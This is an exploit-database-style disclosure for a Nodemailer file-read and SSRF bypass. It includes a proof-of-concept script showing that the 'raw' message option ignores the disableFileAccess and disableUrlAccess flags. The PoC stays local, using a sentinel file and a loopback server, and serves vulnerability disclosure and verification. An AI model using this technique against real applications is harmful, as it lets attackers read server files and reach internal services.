# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/nodemailer/nodemailer
# Software Link: https://www.npmjs.com/package/nodemailer
# Version: nodemailer <= 9.0.0 (fixed 9.0.1)
# Tested on: Linux
# CVE: N/A
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer
MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (poc-raw-fileaccess-bypass.js) ---
'use strict';
/*
* PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess.
*
* Threat model: an application that accepts untrusted message data passes
* `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to
* prevent that untrusted input from reading local files or fetching URLs
* (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about).
*
* This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message
* is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root
* node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike
* every attachment/alternative node which is created with the flags.
*
* Benign marker: a sentinel file in the OS temp dir whose unique nonce we look
* for in the generated message. No network, no destructive action.
*/
const nodemailer = require('../../../nodemailer');
const fs = require('fs');
const os = require('os');
const path = require('path');
const http = require('http');
const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6);
const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml');
fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n');
function buildMessage(data, cb) {
// streamTransport => fully local, returns the generated message as a stream.
const transporter = nodemailer.createTransport({
streamTransport: true,
buffer: true,
// The application's protective flags:
disableFileAccess: true,
disableUrlAccess: true
});
transporter.sendMail(data, (err, info) => {
if (err) return cb(err);
cb(null, info.message.toString());
});
}
function run() {
console.log('Nodemailer version:', require('../../../nodemailer/package.json').version);
console.log('Sentinel file :', sentinelPath);
console.log('Nonce :', NONCE);
console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n');
// --- CONTROL: a normal attachment with the same path MUST be rejected ---
buildMessage(
{ from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] },
(err, msg) => {
const controlBlocked = !!err && err.code === 'EFILEACCESS';
console.log('[CONTROL] attachment path with disableFileAccess:');
console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message)));
// --- ATTACK: message-level raw with the same path ---
buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => {
if (err2) {
console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message);
return finishUrl(controlBlocked, false);
}
const leaked = msg2.indexOf(NONCE) !== -1;
console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:');
console.log(' => ' + (leaked
? 'BYPASSED — sentinel file CONTENT is present in the generated message'
: 'not leaked (sentinel nonce absent)'));
if (leaked) {
const idx = msg2.indexOf(NONCE);
console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...');
}
finishUrl(controlBlocked, leaked);
});
}
);
}
// Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server.
function finishUrl(controlBlocked, fileLeaked) {
const URLNONCE = NONCE + '-URL';
const server = http.createServer((req, res) => {
res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n');
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
const href = ' http://127.0.0.1 :' + port + '/sentinel';
buildMessage({ raw: { href: href } }, (err, msg) => {
let urlLeaked = false;
if (err) {
console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message);
} else {
urlLeaked = msg.indexOf(URLNONCE) !== -1;
console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):');
console.log(' => ' + (urlLeaked
? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)'
: 'not leaked'));
}
server.close();
try { fs.unlinkSync(sentinelPath); } catch (_e) {}
console.log('\n================ RESULT ================');
console.log('control attachment blocked by flag : ' + controlBlocked);
console.log('raw:{path} file-access bypass : ' + fileLeaked);
console.log('raw:{href} url-access bypass : ' + urlLeaked);
const pass = controlBlocked && (fileLeaked || urlLeaked);
console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED'));
process.exit(pass ? 0 : 1);
});
});
}
run();